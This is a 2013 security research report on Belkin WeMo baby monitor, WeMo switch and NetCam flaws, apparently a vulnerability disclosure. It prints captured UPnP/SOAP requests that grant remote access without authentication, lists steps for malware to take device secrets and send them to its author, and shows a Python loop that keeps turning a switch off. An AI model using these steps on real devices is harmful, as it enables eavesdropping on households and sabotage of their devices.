!! ! THE BELKIN WeMo BABY MONITOR, THE WeMo SWITCH, AND THE... RECONSIDERING THE PERIMETER SECURITY ARGUMENT

Internet of Things Security Evaluation Series
!!
!!
!!
!!
!!
!!
!!
!
THE BELKIN WeMo BABY MONITOR, THE WeMo SWITCH, AND THE Wi-Fi NetCam
!
RECONSIDERING THE PERIMETER SECURITY ARGUMENT
!
!
!
!
!
by NITESH DHANJANI
2013
Internet of Things Security Evaluation Series
It’s been a decade since we’ve accepted the idea that the perimeter strategy to security is ineffective: The
endpoints must strive to protect their own stack rather than rely on their network segment being completely
trust worthy. However, this notion has mostly permeated the corporate space as an emergency. Even such,
businesses are still struggling with implementing controls in this area given the legacy of flat networks and
Operating System design.
!
When it comes to residences, the implicit notion is that controls beyond Network Address Translation (NAT)
aren’t immediately necessary from the perspective of cost and complexity. The emergence of Internet of
Things (IoT) is going to dramatically change this notion. To illustrate these thoughts, we will take upon the
security design of the Belkin WeMo baby monitor, WeMo wireless switch, and the Net-Cam Wi-Fi camera.
These devices were particularly picked based on their popularity within the consumer space and the fact that
they are self-installable.
!
The WeMo Baby Monitor
!
The Belkin WeMo baby monitor is a neat little device. It hops on Wi-Fi and lets the consumer monitor their
baby from an iPhone or an iPad. It is also possible monitor the baby when away from home.
!
!!
!
Figure 1: The Belkin WeMo baby monitor
Since the baby monitor transmits audio over the network (internally and externally), a vulnerability in the
product could result in remote eavesdropping. The paragraphs below outline security concerns in this area.
Users with one-time access to the local Wi-Fi are allowed to eavesdrop
remotely and indefinitely
!
In order to listen into the baby monitor, the user must download the “WeMo Baby” iOS app1.
1
!
WeMo Baby iOS app: https://itunes.apple.com/us/app/wemo-baby/id502039705
2013
Internet of Things Security Evaluation Series
!
!
Figure 2: WeMo Baby iOS app
Once the user launches the iOS app while on the local Wi-Fi network, the app locates the baby monitor and
submits the following POST request to the baby monitor:
GET /setup.xml HTTP/1.1
Content-Length: 0
HOST: 10.0.1.2:49153
User-Agent: CyberGarage-HTTP/1.0
!
!
And the baby monitor responds:
<root xmlns="urn:Belkin:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:Belkin:device:wemo_baby:1</deviceType>
<friendlyName>WeMo Baby</friendlyName>
<manufacturer>Belkin International Inc.</manufacturer>
<manufacturerURL>http://www.belkin.com</manufacturerURL>
<modelDescription>Belkin Plugin Socket 1.0</modelDescription>
<modelName>Socket</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.belkin.com/plugin/</modelURL>
<serialNumber>[DELETED]</serialNumber>
<UDN>uuid:wemo_baby-1_0-[DELETED]</UDN>
<UPC>123456789</UPC>
<macAddress>[DELETED]</macAddress>
<firmwareVersion>WeMo_WW_2.00.2397.PVT_Baby</firmwareVersion>
2013
Internet of Things Security Evaluation Series
<iconVersion>0|49153</iconVersion>
<binaryState>0</binaryState>
<iconList>
<icon>
<mimetype>jpg</mimetype>
<width>100</width>
<height>100</height>
<depth>100</depth>
<url>icon.jpg</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:Belkin:service:WiFiSetup:1</serviceType>
<serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId>
<controlURL>/upnp/control/WiFiSetup1</controlURL>
<eventSubURL>/upnp/event/WiFiSetup1</eventSubURL>
<SCPDURL>/setupservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:timesync:1</serviceType>
<serviceId>urn:Belkin:serviceId:timesync1</serviceId>
<controlURL>/upnp/control/timesync1</controlURL>
<eventSubURL>/upnp/event/timesync1</eventSubURL>
<SCPDURL>/timesyncservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:basicevent:1</serviceType>
<serviceId>urn:Belkin:serviceId:basicevent1</serviceId>
<controlURL>/upnp/control/basicevent1</controlURL>
<eventSubURL>/upnp/event/basicevent1</eventSubURL>
<SCPDURL>/eventservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:firmwareupdate:1</serviceType>
<serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId>
<controlURL>/upnp/control/firmwareupdate1</controlURL>
<eventSubURL>/upnp/event/firmwareupdate1</eventSubURL>
<SCPDURL>/firmwareupdate.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:rules:1</serviceType>
<serviceId>urn:Belkin:serviceId:rules1</serviceId>
<controlURL>/upnp/control/rules1</controlURL>
<eventSubURL>/upnp/event/rules1</eventSubURL>
<SCPDURL>/rulesservice.xml</SCPDURL>
</service>
.
<service>
<serviceType>urn:Belkin:service:metainfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:metainfo1</serviceId>
<controlURL>/upnp/control/metainfo1</controlURL>
<eventSubURL>/upnp/event/metainfo1</eventSubURL>
<SCPDURL>/metainfoservice.xml</SCPDURL>
</service>
!
<service>
<serviceType>urn:Belkin:service:remoteaccess:1</serviceType>
2013
Internet of Things Security Evaluation Series
!
.
<serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId>
<controlURL>/upnp/control/remoteaccess1</controlURL>
<eventSubURL>/upnp/event/remoteaccess1</eventSubURL>
<SCPDURL>/remoteaccess.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>/pluginpres.html</presentationURL>
</device>
</root>
!
!
!
The items of note in the response from the baby monitor are the serial number and the exposure of the
remoteaccess1 service.
The iOS app also sends the following request:
POST /upnp/control/remoteaccess1 HTTP/1.1
Content-Type: text/xml; charset="utf-8"
SOAPACTION: "urn:Belkin:service:remoteaccess:1#RemoteAccess"
Content-Length: 589
HOST: 10.0.0.2:49153
User-Agent: CyberGarage-HTTP/1.0
!
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:RemoteAccess xmlns:u="urn:Belkin:service:remoteaccess:1">
<DeviceId>[removed]</DeviceId>
<dst>0</dst>
<HomeId></HomeId>
<DeviceName>iPad 4G</DeviceName>
<MacAddr></MacAddr>
<pluginprivateKey></pluginprivateKey>
<smartprivateKey></smartprivateKey>
<smartUniqueId></smartUniqueId>
<numSmartDev></numSmartDev>
</u:RemoteAccess>
</s:Body>
</s:Envelope>
!
!
The baby monitor responds to the request:
HTTP/1.1 200 OK
CONTENT-LENGTH: 631
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Tue, 24 Sep 2013 12:50:37 GMT
EXT:
SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP devices/1.6.18
X-User-Agent: redsonic
!
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:RemoteAccessResponse xmlns:u="urn:Belkin:service:remoteaccess:1">
<homeId>[DELETED]</homeId>
<pluginprivateKey>[DELETED}</pluginprivateKey>
<smartprivateKey>[DELETED]/smartprivateKey>
2013
Internet of Things Security Evaluation Series
<resultCode>PLGN_200</resultCode>
<description>Successful</description>
<statusCode>S</statusCode>
<smartUniqueId>[DELETED]</smartUniqueId>
<numSmartDev>3</numSmartDev>
</u:RemoteAccessResponse>
</s:Body> </s:Envelope>
!
!
The smartUniqueID returned by the baby monitor is the same as the DeviceId value POSTed by the
iOS app.
The WeMo Baby architecture uses the SIP protocol for audio. When the user clicks on the “Listen” button,
the iOS app and the baby monitor connect through a SIP proxy [54.236.158.75:6060]. Here is an
example of the SIP traffic:
!
SIP/2.0 100 Trying
Via: SIP/2.0/TCP
10.0.0.2:59662;rport=4096;received=10.0.0.115;branch=[DELETED
Record-Route: <sip:k2.k.belkin.evodevices.com:
6060;transport=tcp;lr;did=f9e.f801;nat=yes>
Call-ID: [DELETED]
From: <sip:[DELETED but same as smartUniqueId and
DeviceID]@bedev.evomonitors.com>;tag=[removed]
To: <sip:[DELETED but same as serialNumber]@bedev.evomonitors.com>
CSeq: 5874 INVITE
Content-Length: 0
!
SIP/2.0 200 OK
Via: SIP/2.0/TCP
10.0.0.2:59662;rport=4096;received=10.0.0.115;branch=[DELETED]
Record-Route: <sip:k2.k.belkin.evodevices.com:
6060;transport=tcp;lr;did=f9e.f801;nat=yes>
Call-ID: [DELETED]
From: <sip: [DELETED but same as smartUniqueId and
DeviceID]@bedev.evomonitors.com>;tag=[DELETED]
To: <sip:[DELETED but same as
serialNumber]@bedev.evomonitors.com>;tag=[DELETED]
CSeq: 5874 INVITE
Contact: <sip: [DELETED but same as
serialNumber]@10.0.0.115:3925;transport=tcp;ob>;+sip.ice
Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, SUBSCRIBE, NOTIFY, REFER,
MESSAGE, OPTIONS
Supported: replaces, 100rel, timer, norefersub
Session-Expires: 91;refresher=uac
Content-Type: application/sdp
Content-Length:
368
!
v=0
o=- 3589015852 3589015853 IN IP4 10.0.1.2
s=pjmedia
c=IN IP4 10.0.1.2
b=AS:84
t=0 0
a=X-nat:0
m=audio 3106 RTP/AVP 3 96
c=IN IP4 10.0.1.2
b=TIAS:64000
b=RS:0
2013
Internet of Things Security Evaluation Series
b=RR:0
a=sendrecv
a=rtpmap:3 GSM/8000
a=rtpmap:96 telephone-event/8000
a=fmtp:96 0-15
a=ice-ufrag: [REMOVED]
a=ice-pwd:[DELETED]
a=candidate:Ha000102 1 UDP 2130706431 10.0.1.2 3106 typ host
!
!
Figure 3: Video demonstration of WeMo app authorization
The obvious issue here is that a user with one-time access to the local Wi-Fi where the baby monitor can
register itself without authentication and authorization. It can also continue to access the baby monitor
remotely until a local user specifically deletes the device from the “Access” list (using the iOS app while on
the local Wi-Fi). This issue is demonstrated in the YouTube video available at http://youtu.be/ERqSpjMGhjQ.
Figure 4: Lon J. Seidman’s review of the WeMo baby monitor
!
2013
Internet of Things Security Evaluation Series
A realistic scenario of this issue is that of a friend visiting a location and requesting temporary access to
Wi-Fi. If this individual were to access the WeMo Baby app, he or she can then continue to listen in to the
baby monitor remotely. On this note, Lon J. Seidman’s Amazon review of the WeMo baby monitor specifically
states his concern over this design issue (Figure 4). The review is titled “Poor security, iOS background tasks
not reliable enough for child safety”2.
!
“...But that's not the only issue plaguing this device. The other is a very poor security model that leaves the
WeMo open to unwelcome monitoring. The WeMo allows any iOS device on your network to connect to it
and listen in without a password. If that's not bad enough, when an iPhone has connected once on the local
network it can later tune into the monitor from anywhere in the world. Belkin assumes that your access point
is secured and that the only people accessing it are people you know. This is especially troublesome for
people who don't secure their access points or are using weak security that's vulnerable to cracking.
!
Belkin seems to acknowledge this vulnerability in the software, showing which devices can connect to the
WeMo and whether or not to allow global snooping. Unfortunately WeMo gives full access to every device
right out of the gate, requiring you to continually monitor it to ensure that an unauthorized listener hasn't
connected to it.
!
The bottom line? It's not reliable enough to make it an effective monitor for my child, nor is it secure enough
to give me the confidence that others can't snoop in. For those reasons I simply can't recommend this
product”
!
!
!
!
This is important context since the concern is expressed by an actual user, in this case an expecting parent.
In response to Seidman’s review, Belkin issued this comment:
“Hello Lon,
Thanks for taking the time to review the WeMo Audio Baby monitor. We appreciate your security concerns
and would like to respond to the issues you raise. For homes that use a password for their WiFi, our product
is as secure as any item on that network. For someone to get access to the baby monitor a person would
need to discover that password. For homes without a password we recommend they implement one for the
general security of everything they do on their home network. We are adding this recommendation to our
Frequently Asked Questions.
!
As you correctly identified, families are able to give access to others by sharing their WiFi password with
trusted friends or family members. We believe this is a positive feature of the system and expect people will
treat the sharing of this password with care as it gives access to their home network. However for those who
are concerned, when logged onto the baby monitor, it's possible to disable the remote access of others if
uncomfortable with having others listening.
!
!
!
If you have any other feedback you would like to share with us we are always happy to hear it. Please write
us at [email protected].
Best Regards,
Belkin Support”
As we add additional IoT devices to our homes, the reliance on Wi-Fi security becomes a hard sell. Given the
impact to our physical privacy and safety, it’s difficult to stand by the argument that all bets are off once a
single device (computer or IoT device) is compromised. Homes in developed countries are bound to have
dozens of remotely controllable IoT devices. The single point of failure can’t be the Wi-Fi password. What’s
2
! Lon
J. Seidman’s Amazon review: http://www.amazon.com/review/R1KDQKNWBBISY1/
2013
Internet of Things Security Evaluation Series
more, a compromised computer or device will already have access to the network so the Wi-Fi password is
not needed by the remote attacker - this point takes us to the issue of malware which is discussed in the
next section.
!
Malware can gain authorization and enable remote access
Should a device on the local Wi-Fi network be compromised, malware can easily obtain authorization on
behalf of the malware author by following these simple steps:
!
1.
2.
3.
4.
!
Locate the WeMo baby monitor on the local network.
Issue GET request to /setup.xml to obtain the serialNumber.
Issue POST request to /upnp/control/remoteaccess1 with self chosen DeviceID.
Transmit the serialNumber and DeviceID to the malware author. As shown in the SIP requests
above, this is the secret information needed to initiate a connection to the baby monitor and listen in.
We can expect malware authors to incorporate scanning of the local network for IoT devices. Once a device
is located, such a scenario is easy to implement given that all local devices can authorize themselves for
remote access.
!!
The WeMo Switch
!
The WeMo switch lets you turn electronic devices on or off from your iOS device.
!
!!
!!
!
Figure 5: The WeMo switch
The switch uses WiFi and can be controlled locally or remotely.
2013
Internet of Things Security Evaluation Series
!
!
!
Figure 6: The WeMo iOS app used to control the switch
The WeMo iOS app is quite simple to use. The user can click on the power button to turn the plugged-in
device on or off.
The iOS app sends the following Universal Plug and Play (UPnP)3 request to locate the switch on the local
network using UDP:
M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:upnp:rootdevice
MX:2
MAN:"ssdp:discover"
!
!
The switch then responds with the following data:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=86400
DATE: Mon, 14 Oct 2013 10:48:31 GMT
LOCATION: http://10.0.1.8:49153/setup.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: [removed]
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
ST: upnp:rootdevice
USN: uuid:Socket-1_0-[removed]::upnp:rootdevice
3
!
Universal Plug and Play: http://en.wikipedia.org/wiki/Universal_Plug_and_Play
2013
Internet of Things Security Evaluation Series
!
!
Here is the content of setup.xml:
<?xml version="1.0"?>
<root xmlns="urn:Belkin:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:Belkin:device:controllee:1</deviceType>
<friendlyName>WeMo Switch</friendlyName>
<manufacturer>Belkin International Inc.</manufacturer>
<manufacturerURL>http://www.belkin.com</manufacturerURL>
<modelDescription>Belkin Plugin Socket 1.0</modelDescription>
<modelName>Socket</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.belkin.com/plugin/</modelURL>
<serialNumber>[REMOVED]</serialNumber>
<UDN>[REMOVED]</UDN>
<UPC>123456789</UPC>
<macAddress>[REMOVED]</macAddress>
<firmwareVersion>WeMo_US_2.00.2769.PVT</firmwareVersion>
<iconVersion>0|49153</iconVersion>
<binaryState>0</binaryState>
<iconList>
<icon>
<mimetype>jpg</mimetype>
<width>100</width>
<height>100</height>
<depth>100</depth>
<url>icon.jpg</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:Belkin:service:WiFiSetup:1</serviceType>
<serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId>
<controlURL>/upnp/control/WiFiSetup1</controlURL>
<eventSubURL>/upnp/event/WiFiSetup1</eventSubURL>
<SCPDURL>/setupservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:timesync:1</serviceType>
<serviceId>urn:Belkin:serviceId:timesync1</serviceId>
<controlURL>/upnp/control/timesync1</controlURL>
<eventSubURL>/upnp/event/timesync1</eventSubURL>
<SCPDURL>/timesyncservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:basicevent:1</serviceType>
<serviceId>urn:Belkin:serviceId:basicevent1</serviceId>
<controlURL>/upnp/control/basicevent1</controlURL>
<eventSubURL>/upnp/event/basicevent1</eventSubURL>
<SCPDURL>/eventservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:firmwareupdate:1</serviceType>
2013
Internet of Things Security Evaluation Series
<serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId>
<controlURL>/upnp/control/firmwareupdate1</controlURL>
<eventSubURL>/upnp/event/firmwareupdate1</eventSubURL>
<SCPDURL>/firmwareupdate.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:rules:1</serviceType>
<serviceId>urn:Belkin:serviceId:rules1</serviceId>
<controlURL>/upnp/control/rules1</controlURL>
<eventSubURL>/upnp/event/rules1</eventSubURL>
<SCPDURL>/rulesservice.xml</SCPDURL>
</service>
!
!
<service>
<serviceType>urn:Belkin:service:metainfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:metainfo1</serviceId>
<controlURL>/upnp/control/metainfo1</controlURL>
<eventSubURL>/upnp/event/metainfo1</eventSubURL>
<SCPDURL>/metainfoservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:remoteaccess:1</serviceType>
<serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId>
<controlURL>/upnp/control/remoteaccess1</controlURL>
<eventSubURL>/upnp/event/remoteaccess1</eventSubURL>
<SCPDURL>/remoteaccess.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:deviceinfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:deviceinfo1</serviceId>
<controlURL>/upnp/control/deviceinfo1</controlURL>
<eventSubURL>/upnp/event/deviceinfo1</eventSubURL>
<SCPDURL>/deviceinfoservice.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>/pluginpres.html</presentationURL>
</device>
</root>
!!
!!
!!
!!
!!
!!
!
2013
Internet of Things Security Evaluation Series
!
Figure 7: Remote access setup in the WeMo iOS app
Notice the remoteaccess1 service. It is invoked similarly to the example listed for WeMo baby. An
additional request is sent to https://api.xbcs.net:8433/apis/http/plugin/push/register
with the authorization token (similar to DeviceID).
!
!
If the user toggles the switch in the app from a remote location a POST request is sent to https://
api.xbcs.net:8443/apis/http/plugin/message:
POST /apis/http/plugin/message HTTP/1.1
Host: api.xbcs.net:8443
Authorization: SDU [DELETED, token similar to DeviceID]
Accept-Encoding: gzip
Content-Type: application/xml
Content-Length: 899
Accept: application/xml
Connection: close
Proxy-Connection: close
User-Agent: WeMo 1.2.6 rv:11793 (iPhone; iPhone OS 7.0.2; en_US)
!
<plugins>
<plugin>
<recipientId>[DELETED]</recipientId>
<macAddress>[DELETED]</macAddress>
<content>
<![CDATA[<pluginDeviceStatus>
<plugin>
<pluginId>959693</pluginId>
<macAddress>[DELETED]</macAddress>
<status>0</status>
<friendlyName>friendlyName</friendlyName>
2013
Internet of Things Security Evaluation Series
<firmwareVersion></firmwareVersion>
<fwUpgradeStatus></fwUpgradeStatus>
<signalStrength></signalStrength>
</plugin>
</pluginDeviceStatus>
]]>
</content>
</plugin>
<plugin>
<recipientId>[DELETED]</recipientId>
<macAddress>[DELETED]</macAddress>
<content>
<![CDATA[<pluginDeviceStatus>
<plugin>
<pluginId>[DELETED]</pluginId>
<macAddress>[DELETED[</macAddress>
<status>0</status>
<friendlyName>friendlyName</friendlyName>
<firmwareVersion></firmwareVersion>
<fwUpgradeStatus></fwUpgradeStatus>
<signalStrength></signalStrength>
</plugin>
</pluginDeviceStatus>
]]>
</content>
</plugin>
</plugins>
!
!
If the user is in the same Wi-Fi network, a local POST request is sent directly to the switch to turn it off:
POST /upnp/control/basicevent1 HTTP/1.1
SOAPACTION: "urn:Belkin:service:basicevent:1#SetBinaryState"
Content-Length: 316
Content-Type: text/xml; charset="utf-8"
HOST: 10.0.1.8:49153
User-Agent: CyberGarage-HTTP/1.0
!
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetBinaryState xmlns:u="urn:Belkin:service:basicevent:1">
<BinaryState>0</BinaryState>
</u:SetBinaryState>
</s:Body>
</s:Envelope>
!
!
Notice that in this case, the iOS app sends no authorization token. The switch responds:
HTTP/1.1 200 OK
CONTENT-LENGTH: 285
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Mon, 14 Oct 2013 10:58:26 GMT
EXT:
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
!
2013
Internet of Things Security Evaluation Series
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:SetBinaryStateResponse xmlns:u="urn:Belkin:service:basicevent:1">
<BinaryState>0</BinaryState>
</u:SetBinaryStateResponse>
</s:Body> </s:Envelope>
!!
Malware can gain authorization and enable remote access
!
!
Similar to the situation in WeMo baby, malware on the local network can easily turn devices on the WeMo
switch on or off by directly invoking a POST request to /upnp/control/basicevent1.
Isaac Kelly has create a proof-of-concept toolkit4 in Python to test local access to the WeMo switch. For
demonstration purposes, a simple malware script with local access can wrap use this framework to
perpetually turn the electronic device (plugged into the WeMo switch) off:
!
!
!
!
#!/usr/bin/python
import time
from wemo import on, off, get
while True:
off()
time.sleep(5)
!!
!
A video demonstration of this can be seen at http://youtu.be/2EoeuczdoSs.
!
4
!
Figure 8: Video demonstration of malware targeting WeMo switch
Isaac Kelly’s python WeMo proof-of-concept toolkit: https://github.com/issackelly/wemo
2013
Internet of Things Security Evaluation Series
Also similar to WeMo baby, the malware script can obtain remote access and ship the authorized token to an
attacker remotely. In this scenario a potential botnet herder can easily gain remote access to multiple WeMo
switches in homes where his or her malware has been deployed.
!!
Wi-Fi NetCam
!
The Belkin Wi-Fi NetCam lets users remotely view video from the camera.
!
!
Figure 9: The Belkin Wi-Fi NetCam
The NetCam app5 can be used to remotely view the video from the camera.
5
!
NetCam app: https://itunes.apple.com/us/app/belkin-netcam/id568129866
2013
Internet of Things Security Evaluation Series
!
!!
Figure 10: NetCam app login screen
The good thing about the NetCam app is that it requires a password even if the user is on the local Wi-Fi.
The app and the camera also use SSL for network traffic.
NetCam password can be captured by local Wi-Fi users and by the internet
service provider to obtain full blown remote access to the camera
!
Even though the NetCam app as well as the camera use SSL, network packet analysis shows that is alos
sends the password in clear-text password to 66.160.133.67.
!
!
Figure 11: NetCam username and password transmitted in clear via the Internet
!
Figure 12: Attacker spying on victim (who happens to be wearing a horse mask)
In this case, anyone with access to the local Wi-Fi network can obtain the credentials. This could be a
malicious individual or malware. Routers along the path to 66.160.133.67 can also capture the
credentials.
2013
Internet of Things Security Evaluation Series
Once the attacker or botnet herder has collected the credentials, he or she can spy on the victim using the
Netcam app (illustrated in Figure 12) or through the website https://netcam.belkin.com/.
!!
Conclusion
!
The phenomenon of the Internet of Things (IoT) is positively influencing our lives by augmenting our spaces
with intelligent and connected devices. Examples of these devices include lightbulbs, motion sensors, door
locks, video cameras, thermostats, baby monitors, wireless switches, and power outlets. By 2022, the
average household with two teenage children will own dozens of such Internet connected devices.
!
Given the upcoming revolution of automation in our homes, we are already seeing self-installable IoT devices
such as the candidates discussed in this document. As seen by the detailed illustrations in the above
examples, we cannot secure our future by asserting that IoT devices and supporting applications have no
responsibility to protecting the user’s privacy and security beyond requiring the user setup a strong WiFi
password.
!
IoT device manufacturers should lay the foundation for a strong security architecture that is usable as well as
not easily susceptible to other devices on the network. In these times, a compromised device on a home
network can lead to the loss of financial information and personal information. If IoT device vendors continue
their approach of depending on the local home network and all other device being completely secure, we will
live in a world where a compromised device can result in gross remote violation of privacy and physical
security of it’s customers.
2013
Internet of Things Security Evaluation Series
About the Author
Nitesh Dhanjani is a well known security researcher, author, and speaker.
Dhanjani is the author of “Hacking: The Next Generation” (O’Reilly),
"Network Security Tools: Writing, Hacking, and Modifying Security
Tools" (O'Reilly) and "HackNotes: Linux and Unix Security" (Osborne
McGraw-Hill). He is also a contributing author to "Hacking Exposed
4" (Osborne McGraw-Hill) and "HackNotes: Network Security". Dhanjani
has been invited to talk at various information security events such as the
Black Hat Briefings, RSA, Hack in the Box, Microsoft Blue Hat, and
OSCON.
!
Dhanjani is currently an Executive Director at a large consulting firm where
he advises some of the largest corporations around the world on how to
establish enterprise wide information security programs and solutions.
Dhanjani is also responsible for evangelizing brand new technology service
lines around emerging technologies and trends such as smart devices, cloud computing, and mobile
security.
!
Prior to his current job, Dhanjani was Senior Director of Application Security and Assessments at a major
credit bureau where he spearheaded brand new security efforts into enhancing the enterprise SDLC, created
a process for performing source code security reviews & Threat Modeling, and managed the Attack &
Penetration team.
!
Dhanjani graduated from Purdue University with both a Bachelors and Masters degree in Computer Science.
2013